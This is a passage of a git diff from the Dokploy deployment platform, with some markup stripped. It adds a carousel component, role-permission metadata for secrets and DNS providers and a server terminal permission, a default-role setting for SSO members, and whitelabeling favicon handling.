setReduceMotion] = useState(false); + + useEffect(() => { + const query = window.matchMedia("(prefers-reduced-motion: reduce)"); + setReduceMotion(query.matches); + const listener = (e: MediaQueryListEvent) => setReduceMotion(e.matches); + query.addEventListener("change", listener); + return () => query.removeEventListener("change", listener); + }, []); + + const timerRef = useRef | null>(null); + + useEffect(() => { + if (paused || reduceMotion) { + return; + } + timerRef.current = setInterval(() => { + setActive((prev) => (prev + 1) % SLIDES.length); + }, AUTO_ADVANCE_MS); + return () => { + if (timerRef.current) { + clearInterval(timerRef.current); + } + }; + }, [paused, reduceMotion]); + + const goTo = (index: number) => { + setActive(((index % SLIDES.length) + SLIDES.length) % SLIDES.length); + }; + + return ( +
    setPaused(true)} + onMouseLeave={() => setPaused(false)} + onFocus={() => setPaused(true)} + onBlur={() => setPaused(false)} + > +
    + {SLIDES[active]?.map((item) => ( +
    +
    + +
    +
    +

    {item.title}

    +

    + {item.description} +

    +
    +
    + ))} +
    + +
    + {SLIDES.map((slide, index) => ( +
    + + +
    + ); +}; diff --git a/apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx b/apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx index 51b31b84c..7aaa44767 100644 --- a/apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx +++ b/apps/dokploy/components/proprietary/roles/manage-custom-roles.tsx @@ -45,6 +45,13 @@ import { PopoverContent, PopoverTrigger, } from "@/components/ui/popover"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; import { Switch } from "@/components/ui/switch"; import { api } from "@/utils/api"; @@ -163,6 +170,16 @@ const RESOURCE_META: Record = { label: "Audit Logs", description: "View the audit log of actions performed in the organization", }, + vaultProvider: { + label: "Secrets Providers", + description: + "Manage external secret managers (HashiCorp Vault, AWS, Azure, Infisical, Doppler, Scaleway) and where their secrets can be referenced", + }, + dnsProvider: { + label: "DNS Providers", + description: + "Manage DNS providers (Cloudflare, AWS Route53) and create, update, or delete their DNS records", + }, }; /** Descriptions for each action within a resource */ @@ -311,6 +328,10 @@ const ACTION_META: Record< label: "Delete", description: "Remove servers from the organization", }, + terminal: { + label: "Terminal", + description: "Open an SSH root shell on remote servers", + }, }, registry: { read: { label: "Read", description: "View configured Docker registries" }, @@ -419,6 +440,41 @@ const ACTION_META: Record< auditLog: { read: { label: "Read", description: "View the audit log history" }, }, + vaultProvider: { + read: { + label: "Read", + description: "View providers and secret names for env autocomplete", + }, + create: { + label: "Create", + description: "Connect new secret providers and test their connection", + }, + update: { + label: "Update", + description: + "Edit provider credentials and project/environment assignments", + }, + delete: { label: "Delete", description: "Remove secret providers" }, + }, + dnsProvider: { + read: { + label: "Read", + description: "View configured DNS providers and their zones/records", + }, + create: { + label: "Create", + description: + "Connect new DNS providers, test their connection, and create records", + }, + update: { + label: "Update", + description: "Edit provider credentials and update existing records", + }, + delete: { + label: "Delete", + description: "Remove DNS providers and delete their records", + }, + }, }; /** Resources that should be hidden from the custom role editor (better-auth internals) */ @@ -517,7 +573,7 @@ const ROLE_PRESETS: { envVars: ["read", "write"], projectEnvVars: ["read", "write"], environmentEnvVars: ["read", "write"], - server: ["read", "create", "delete"], + server: ["read", "create", "delete", "terminal"], registry: ["read", "create", "delete"], certificate: ["read", "create", "delete"], backup: ["read", "create", "delete", "restore"], @@ -759,6 +815,78 @@ function HandleCustomRole({ ); } +const DefaultRoleSection = ({ customRoles }: { customRoles: string[] }) => { + const utils = api.useUtils(); + const { data: auth } = api.user.get.useQuery(); + const { data: activeOrganization } = api.organization.active.useQuery(); + const { mutateAsync: updateOrganization, isPending: isUpdating } = + api.organization.update.useMutation(); + const [selectedRole, setSelectedRole] = useState(); + + if (auth?.role !== "owner" || !activeOrganization) { + return null; + } + + const currentRole = activeOrganization.defaultRole ?? "member"; + const value = selectedRole ?? currentRole; + + const onSave = async () => { + await updateOrganization({ + organizationId: activeOrganization.id, + name: activeOrganization.name, + logo: activeOrganization.logo ?? undefined, + defaultRole: value, + }) + .then(() => { + toast.success("Default role updated"); + utils.organization.active.invalidate(); + }) + .catch((error) => { + toast.error( + error instanceof Error + ? error.message + : "Error updating default role", + ); + }); + }; + + return ( +
    +
    +

    Default role for new members

    +

    + Assigned automatically to users joining through SSO and preselected + when creating invitations. +

    +
    +
    + + +
    +
    + ); +}; + const CustomRolesContent = () => { const { data: customRoles, @@ -800,6 +928,9 @@ const CustomRolesContent = () => { return (
    + role.role) ?? []} + />
    diff --git a/apps/dokploy/components/proprietary/sso/sign-in-with-sso.tsx b/apps/dokploy/components/proprietary/sso/sign-in-with-sso.tsx index e589f4df4..4b0ccbf71 100644 --- a/apps/dokploy/components/proprietary/sso/sign-in-with-sso.tsx +++ b/apps/dokploy/components/proprietary/sso/sign-in-with-sso.tsx @@ -50,6 +50,7 @@ export function SignInWithSSO({ const { data, error } = await authClient.signIn.sso({ email: values.email, callbackURL: "/dashboard/home", + errorCallbackURL: "/", }); if (error) { toast.error(error.message ?? "Failed to sign in with SSO"); diff --git a/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx b/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx index a1a327561..05e0b517a 100644 --- a/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx +++ b/apps/dokploy/components/proprietary/whitelabeling/whitelabeling-provider.tsx @@ -1,24 +1,32 @@ "use client"; import Head from "next/head"; +import { useTheme } from "next-themes"; import { api } from "@/utils/api"; export function WhitelabelingProvider() { + const { resolvedTheme } = useTheme(); const { data: config } = api.whitelabeling.getPublic.useQuery(undefined, { staleTime: 5 * 60 * 1000, refetchOnWindowFocus: false, }); - if (!config) return null; + const faviconHref = + config?.faviconUrl ?? + (resolvedTheme === "dark" + ? "/icon-dark.svg" + : resolvedTheme === "light" + ? "/icon-light.svg" + : "/icon.svg"); return ( <> - {config.metaTitle && {config.metaTitle}} - {config.faviconUrl && } + {config?.metaTitle && {config.metaTitle}} + - {config.customCss && ( + {config?.customCss && (